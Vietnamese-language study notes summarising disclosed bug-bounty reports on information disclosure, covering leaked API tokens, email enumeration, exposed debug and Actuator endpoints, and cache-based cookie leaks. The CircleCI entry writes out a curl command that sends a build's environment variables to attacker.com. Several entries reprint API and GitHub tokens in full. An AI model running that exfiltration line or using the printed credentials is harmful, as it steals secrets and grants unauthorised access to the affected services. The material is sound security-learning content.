All Private Support Requests to ███████ Are Being Disclosed at https://███████ info-disclose
Các personal request gửi đến một domain bị public ở một domain khác. Attacker tìm thấy lỗ hổng này thông qua việc tìm kiếm XSS payload ở trên google.
Jira Credential Disclosure within Mozilla Slack info-disclose
Một contributor đã ký NDA có quyền truy cập vào internal Slack instance của Mozilla và đọc được Jira API token được gán cứng trong một Python script mà được đăng lên một public channel.
Request để verify:
curl -u "██████:ATATT3xFfGF0V99l_█████████551CCC5D" -H "Content-Type: application/json" https://mozilla-hub.atlassian.net/rest/api/3/user/groups?accountId=████████Response:
[{"name":"jira-servicedesk-users","groupId":"███","self":"███████:"jira-administrators","groupId":"████████","self":██████:"jira-software-users","groupId":"███","self":██████████:"jira-servicemanagement-customers-mozilla-hub","groupId":"██████████","self":███:"site-admins","groupId":"████████","self":██████:"administrators","groupId":"██████████","self":██████:"Managers","groupId":"█████","self":██████"}]Privileged của credentials này cho phép grant access cho toàn bộ projects, accounts, configurations và các dữ liệu nhạy cảm khác.
Email Addresses Exposed in getPersonBySlug API info-disclose
Tác giả tìm thấy API getPersonBySlug có thể sử dụng mà không cần xác thực và trong kết quả trả về có Google email address của user. API này được triển khai 1 tháng trước khi có report.\
Spring Actuator Endpoints Publicly Available and Broken Authentication info-disclose
Attacker tìm thấy 2 endpoints của Spring Boot Actuator: /heapdump và /env. Sau khi kiểm tra các ứng dụng thì thấy rằng chúng sử dụng thư viện bị lỗi khiến cho các token không bị expire và dễ dẫn đến replay attacks.
Slack-Corp Heroku Application Disclosing Limited Info about Company Members info-disclose
Attacker tìm thấy 2 email addresses của 2 nhân viên của Slack trong một test application mà không có authentication.
Hi! Security Team Rocket.Chat, It’s Possible to Get Information about the Users Emails without Authentication info-disclose
Attacker có thể enumerate email của user thông qua việc phân tích sự khác biệt trong response của endpoint /api/v1/users.2fa.sendEmailCode mà được dùng để gửi 2FA code.
Khi gửi request đến email hợp lệ:
POST /api/v1/users.2fa.sendEmailCode HTTP/1.1
Host: rocket-chat.local:3000
Referer: http://rocket-chat.local:3000/home
Connection: close
Content-Length: 36
Content-Type: application/json;charset=UTF-8
{"emailOrUsername":"test@test.test"}
HTTP/1.1 200 OK
X-XSS-Protection: 1
X-Content-Type-Options: nosniff
X-RateLimit-Limit: 10
X-RateLimit-Remaining: 7
X-RateLimit-Reset: 1611804788737
content-type: application/json
Content-Length: 16
{"success":true}Khi gửi request đến email không hợp lệ:
POST /api/v1/users.2fa.sendEmailCode HTTP/1.1
Host: rocket-chat.local:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:85.0) Gecko/20100101 Firefox/85.0
Accept: */*
Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://rocket-chat.local:3000/home
Connection: close
Content-Length: 37
Content-Type: application/json;charset=UTF-8
{"emailOrUsername":"test2@test.test"}
HTTP/1.1 400 Bad Request
X-XSS-Protection: 1
X-Content-Type-Options: nosniff
X-Frame-Options: sameorigin
Pragma: no-cache
X-RateLimit-Limit: 10
X-RateLimit-Remaining: 9
X-RateLimit-Reset: 1611805550459
Content-Length: 94
{"success":false,"error":"Invalid user [error-invalid-user]","errorType":"error-invalid-user"}Api Data Leak info-disclose
Attacker tìm thấy một vài URL ở trên https://web.archive.org/web/*/https://api.planet.com/ để lộ API key trong query param mà có thể sử dụng được:
- https://api.planet.com/basemaps/v1/mosaics?api_key=afdb1e8a9c8142739553e3942283d6c8&_page_size=1000
- https://api.planet.com/basemaps/v1/mosaics/wmts?service=wmts&request=GetCapabilities&format=text%2Fxml&api_key=8fe044edc78c46ba904bb62e550493a3
Tip
Có thể thấy, ta nên tận dụng Wayback Machine bằng cách tìm tất cả các URLs liên quan đến một host/domain/wildcard nào đó.
Github Token Leaked Publicly for https://github.sc-corp.net info-disclose
Attacker tìm thấy một file ở trên GitHub thuộc về một Software Engineer của Snap Chat (Snap Inc) có chứa GitHub Token:
import os
import requests
import sys
pull_number = 76793
pull_url = "https://github.sc-corp.net/api/v3/repos/Snapchat/android/pulls/" + str(pull_number)
payload = {}
payload["Authorization"] = "token " + "9db9ca3440e535d90408a32a9c03d415979da910"
print payload
r = requests.get(pull_url,Tip
Mặc dù attacker không verify token và https://github.sc-corp.net chỉ cho phép đăng nhập với email có
@snapdomain nhưng program vẫn accept nó.
Hacker Email Disclosed on Submission at Hackerone Hactivity info-disclose
Attacker tìm thấy một report được disclosed thông qua Hacktivity mà trong PoC video có chứa email của hacker. Khi attacker tạo email với email được disclosed thì nhận được thông báo rằng email đã được sử dụng.
Finding này tương tự với report HackerOne | Report #2134874 - Hackers two email disclosed on submission at hackerone hactivity | HackerOne: email của hacker bị disclosed trong PoC video mà không có biện pháp nào để che nó đi.
Tip
Việc để lộ email address vẫn là một cái gì đó có thể report được tùy ngữ cảnh.
Cleartext Password Returned in JSON Response info-disclose
Attacker phát hiện rằng plaintext password được trả về trong JSON response khi thực hiện thay đổi password. Password này có thể được trích xuất thông qua memory dump của tiến trình firefox.exed. Thậm chí là password này vẫn còn trong RAM kể cả khi restart Firefox.
Tip
Việc trả về plaintext password trong response có thể xem như là một bad practices nhưng thật sự thì nó không có impact gì cả. Tuy nhiên, attacker lại nghĩ đến cách mà có thể extract password thông qua RAM làm nó có thể được xem như là một finding.
Email PII Disclosure due to Insecure Password Reset Field info-disclose
Attacker tìm thấy bug cho phép leak sensitive email address (của quân đội và các trường đại học) thông qua một trường dùng để reset nếu ta biết chính xác username. Do không triển khai rate-limiting, attacker có thể brute-force danh sách các username và thu được danh sách các email. Thông thường, chức năng reset email không được tiết lộ email của người dùng.
Đây là một bug do chưa vá được bug U.S. Dept Of Defense | Report #235041 - Sensitive Email disclosure Due to Insecure Reactivate Account field | HackerOne.
Bitmoji Source Code is Accessible info-disclose
Attacker thực hiện subdomain enum và phát hiện URL https://rendering-service.prod.us-east.bitstrips.com/ trả về 403. Tuy nhiên, tồn tại thư mục /WEB-INF/ và thư mục /META-INF/ có bug directory listing. Bên trong 2 thư mục này có chứa các file .class của Bitmoji. Bằng cách sử dụng decompiler chẳng hạn như procyon-decompiler, attacker có thể chuyển thành source code để đọc, dẫn đến lỗ hổng source code leaked.
Nextcloud-snap CircleCI Project Has Vulnerable Configuration Which Can Lead to Exposing Secrets info-disclose misconfiguration
CircleCI cho phép các project có thể quyết định xem nên build hay không dựa trên pull request từ một fork và cho phép pull request có quyền truy cập vào các biến môi trường trong repo cha hay không. Khi cả 2 settings này được bật lên và repo gắn với project cho phép PR từ fork của bất kỳ user nào thì có thể bị lộ các biến môi trường nhạy cảm.
CircleCI project của nextcloud/nextcloud-snap (của program) được cấu hình ở trong một trạng thái có thể bị tấn công bởi mô tả trên.
Cách tấn công:
- Fork
nextcloud/nextcloud-snapsử dụng một user nào đó. - Tạo branch mới và chỉnh sửa
.circleci/config.ymlđể exfiltrate các biến môi trường chẳng hạn như thêm vào- run: curl https://attacker.com/?env=$(env | base64 | tr -d '\n')mà sẽ được thực thi trong lúc build. - Gửi branch này như là một PR đến repo gốc.
- Theo dõi log ở
attacker.comđể thấy biến môi trường được lưu ở trongnextcloud/nextcloud-snapbị leaked thông qua query param.
Debugging Panel Exposure info-disclose
LINE GAME để lộ debug panel mà không có access control. Khi truy cập vào URL của debug panel, attacker có thể thấy được thông tin về tài nguyên của server và database schema.
User API Key Leaked info-disclose
Khi sử dụng tool GAU để lấy các URLs từ Wayback Machine và Alien Vaults, attacker thì thấy một URL cũ có API key. Khi sử dụng API key này, attacker thấy rằng vẫn có thể truy cập vào các endpoint mà yêu cầu đăng nhập.
Tip
Việc recon đôi khi có thể mang lại hiệu quả cao (đối với các VDP ¯\( ͡° ͜ʖ ͡°)/¯).
Possible Sensitive Session Information Leak in Active Storage info-disclose
Chức năng Active Storage của Ruby on Rails khi serve các files (blobs) gửi về Set-Cookie header chứa session token của token nhưng sử dụng Cache-Control: public. Theo MSDN, header Cache-Control có thể được sử dụng ở cả request hoặc response. Directive public hoặc private chỉ được sử dụng ở response:
| Request | Response |
|---|---|
max-age | max-age |
max-stale | - |
min-fresh | - |
| - | s-maxage |
no-cache | no-cache |
no-store | no-store |
no-transform | no-transform |
only-if-cached | - |
| - | must-revalidate |
| - | proxy-revalidate |
| - | must-understand |
| - | private |
| - | public |
| - | immutable |
| - | stale-while-revalidate |
stale-if-error | stale-if-error |
Khái niệm private cache để chỉ local cache hay browser cache, là cache chỉ được lưu ở browser của client. Trong khi đó, shared cache là cache được chia sẻ giữa origin server và các clients (chẳng hạn như proxy, CDN). Developers nên tránh sử dụng shared cache để lưu các nội dung được cá nhân hóa chẳng hạn như session token của từng user.
Việc sử dụng directive public làm cho content có chứa Set-Cookie có thể được cached bởi cache server và được served cho user khác, dẫn đến cookie bị leaked.
User Email Disclosure via ID-Based Invitation info-disclose
Khi invite user sử dụng WakaTime ID, các user mà ẩn email của họ (khi truy cập profile thì không hiển thị gì) lại bị lộ email.
The /reports/:id.json Endpoint Discloses Potentially Sensitive User Attributes when Reporter Summary is Present info-disclose
Khi researcher xem một disclosed report thì phát hiện file id.json leak rất nhiều sensitive data của researcher, bao gồm:
email
"changed_password_at"
"totp_secret"
"allow_next_sign_in_attempt_at
otp_backup_codes
"tshirt_size"
current_sign_in_country
request_endorsements_at
"graphql_secret_token
overview_token_2017
account_recovery_phone_number" (in hashed form)
account_recovery_unverified_phone_number"
account_recovery_phone_number_sent_at
account_recovery_phone_number_token
totp_enabled_at
sequential_totp_failures
facebook_oauth_state
ctf_points
"calendar_token"
cached_reputation_for_user_profile_last_reputation_id
etc etcCác data này sẽ bị disclosed khi Team/Reporter thêm summary cho report. Người nào thêm summary thì sẽ bị leak data.
Exposed trip_no in WebSocket Responses Leading to Excessive Information Disclosure info-disclose
WebSocket để lộ trip_no cho tài xế trước khi chuyến được chấp nhận. Giá trị này có thể dùng để truy cập customer tracking URLs chứa nhiều thông tin của khách hàng.
Unauthorized Disclosure of Private Emails via WakaTime Private Leaderboards info-disclose
WakaTime cho phép ứng dụng tạo private leaderboard và mời người khác vào. Tuy nhiên, người được mời cho dù ẩn email thì vẫn có thể được xem bởi người tạo ra leaderboard hoặc các member khác. Đây là lỗ hổng broken access control.
Rails Debug Mode Enabled On (https://44.208.145.207/testrail/files.md5) info-disclose
Program để lộ một ứng dụng Ruby on Rails ở development mode tại endpoint https://44.208.145.207/testrail/files.md5. Việc expose ứng dụng ở development mode ra ngoài có thể để lộ thông tin về môi trường thực thi của ứng dụng.